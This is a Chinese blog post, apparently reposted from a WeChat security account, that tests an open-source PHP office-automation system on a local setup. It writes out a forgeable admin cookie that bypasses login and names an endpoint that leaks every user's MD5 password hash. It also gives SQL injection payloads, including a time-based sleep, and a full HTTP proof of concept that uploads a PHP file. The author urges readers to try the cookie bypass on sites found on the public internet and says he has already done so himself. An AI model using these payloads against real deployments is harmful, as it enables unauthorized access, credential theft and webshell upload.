白盒变黑盒。。。——一套漏洞百出的源码

admin 2024年3月4日15:08:44评论23 views字数 3150阅读10分30秒阅读模式

无聊的时候翻公众号看见一位老哥一套开源的php源码,于是,咱也下了一套并搭建了起来。本来是打算跟着那公众白盒过一遍的,谁想到就抓了几个包,漏洞嘎嘎出······

下载链接:https://down.chinaz.com/soft/43101.htm

#环境搭建(大佬略过)

下载小皮最新版,启动wamp环境

白盒变黑盒。。。——一套漏洞百出的源码

打开小皮根目录,将源码拖入小皮默认网站根目录,解压,并且修改小皮默认网站根目录为源码系统的根路径,(不修改的话,即使访问路径正确,网站模块功能的解析也会报错)

白盒变黑盒。。。——一套漏洞百出的源码

白盒变黑盒。。。——一套漏洞百出的源码

mysql创建数据库:create database db_oasystem;并且导入源码下的.sql文件包,导入命令 :source db_oasystem.sql;(本人sql文件拷贝了一份放到了桌面下,保持与当前shell路径一样,嫌麻烦可以直接跟我一样操作)。注:mysql.exe提前添加到环境变量。
白盒变黑盒。。。——一套漏洞百出的源码

白盒变黑盒。。。——一套漏洞百出的源码

修改数据库连接配置文件中db.php的账号密码为自己的mysql数据库的账号密码

白盒变黑盒。。。——一套漏洞百出的源码

 #漏洞挖掘

    抓包测试127.0.0.1抓不到包,直接ipconfig将所得ip用来访问和抓包(已踩坑,可以避雷了)

白盒变黑盒。。。——一套漏洞百出的源码

访问http://192.168.0.115/,初始登录密码 admin/123456

白盒变黑盒。。。——一套漏洞百出的源码

也就登陆抓了个包,就猜到该系统有几乎遍布全站的未授权,,且可登陆绕过,因为cookie过于简单,其中并不带上特定的密码或参数特征,完全可以绕过,由于未授权访问的地方太多,就随便举一个例子:

/usertab.php接口,鉴权形同虚设

白盒变黑盒。。。——一套漏洞百出的源码

删除cookie,照样访问:

白盒变黑盒。。。——一套漏洞百出的源码

cookie格式 :Cookie: id=1; loginname=admin; jueseid=1; danweiid=1; quanxian=0,管理员权限,懂的都懂吧,具体的话公网找个站试试吧,本人已经试过了,非常管用。

此外还有一个很重要的接口,在功能点基本点完后,翻找历史记录包的时候,发现一个将所有用户名和密码泄露的接口,密码通过MD5加密,与登录站点的加密方式一样

/system/manage.php?action=list&page=1&limit=15

白盒变黑盒。。。——一套漏洞百出的源码

实在是非常的离谱,此外,该接口还是有sql注入的,且无需闭合,报错的话直接报错整个sql:/system/manage.php?action=list&page=1&limit=15'

白盒变黑盒。。。——一套漏洞百出的源码

/system/manage.php?action=list&page=1&limit=15;select%20sleep(5);

白盒变黑盒。。。——一套漏洞百出的源码

最后确定,几乎全站都是未授权+sqli,而sqli的主要原因又是未授权,,,,总之,随便抠一个接口就是

白盒变黑盒。。。——一套漏洞百出的源码

用awvs扫描直接扫了60多个注入:

白盒变黑盒。。。——一套漏洞百出的源码

在这我想说的是,这套源码真能用??总之,谁用谁倒霉吧

白盒变黑盒。。。——一套漏洞百出的源码

下面是一个用户增删的接口,能操作也能注入

白盒变黑盒。。。——一套漏洞百出的源码

接口路径:/system/juese.php

白盒变黑盒。。。——一套漏洞百出的源码

注入还是一样的手法(cookie已经删除)

白盒变黑盒。。。——一套漏洞百出的源码

直接getshell的接口我就直接照搬大佬公众号的思路了,也不难,在/uploadbase64.php 中 POST传入imgbase64 并未限制后缀 先base64解码 然后 file_put_contents 写文件
<?php  /** * Description: PhpStorm. * Author: yoby * DateTime: 2018/12/4 18:01 * Email:logove@qq.com * Copyright Yoby版权所有 */  $img = $_POST['imgbase64'];if (preg_match('/^(data:s*image/(w+);base64,)/', $img, $result)) {  $type = ".".$result[2];  $path = "upload/" . date("Y-m-d") . "-" . uniqid() . $type;}$img =  base64_decode(str_replace($result[1], '', $img));@file_put_contents($path, $img);exit('{"src":"'.$path.'"}');

借用gpt解释,我就不解释了

这段PHP代码的作用是接收通过POST请求传递的base64编码的图像数据,并将其解码保存为图片文件。以下是代码的逐行解释:<?php: PHP代码的起始标记。注释块描述了这段代码的作用、作者、日期和联系方式。$img = $_POST['imgbase64'];: 从POST请求中获取名为imgbase64的参数,该参数应包含base64编码的图像数据,并将其存储在变量$img中。if (preg_match('/^(data:s*image/(w+);base64,)/', $img, $result)) {: 使用正则表达式匹配图像数据中的base64编码格式,并将结果存储在变量$result中。这个正则表达式用于匹配data:image/xxx;base64,这样的图像数据头部。$type = ".".$result[2];: 提取匹配结果中的图像类型,并将其作为文件的扩展名,存储在变量$type中。$path = "upload/" . date("Y-m-d") . "-" . uniqid() . $type;: 构造文件路径,其中包含上传日期和唯一的文件标识符,并将文件扩展名添加到文件名中。$img = base64_decode(str_replace($result[1], '', $img));: 使用base64_decode()函数解码图像数据,并将其存储在变量$img中。str_replace()函数用于移除图像数据头部,因为base64_decode()函数不需要该部分数据。@file_put_contents($path, $img);: 将解码后的图像数据写入文件,文件路径为之前构造的路径。exit('{"src":"'.$path.'"}');: 输出JSON格式的响应,包含保存的图像文件路径,然后终止脚本的执行。需要注意的是,代码中的@符号用于抑制可能的文件写入错误,这样可以避免将错误信息暴露给终端用户。然而,实际生产环境中最好进行错误处理和安全性检查,以确保代码的可靠性和安全性。

该代码没做任何过滤,通过构造与其正则相匹配的POC,即可任意文件上传,如下是POC和上传效果:

POST /uploadbase64.php HTTP/1.1Host: 192.168.0.115Accept: application/json, text/javascript, */*; q=0.01User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36X-Requested-With: XMLHttpRequestReferer: http://192.168.0.115/system/juese.phpAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 56imgbase64=data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==
上传效果如下:

白盒变黑盒。。。——一套漏洞百出的源码

白盒变黑盒。。。——一套漏洞百出的源码

漏洞还有很多,就不再一一列举了,兄弟们自己可以自己搭建一套本地环境去玩玩。

白盒变黑盒。。。——一套漏洞百出的源码

点个关注不迷路:

原文始发于微信公众号(实战安全研究):白盒变黑盒。。。——一套漏洞百出的源码

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年3月4日15:08:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   白盒变黑盒。。。——一套漏洞百出的源码http://cn-sec.com/archives/2544762.html

发表评论

匿名网友 填写信息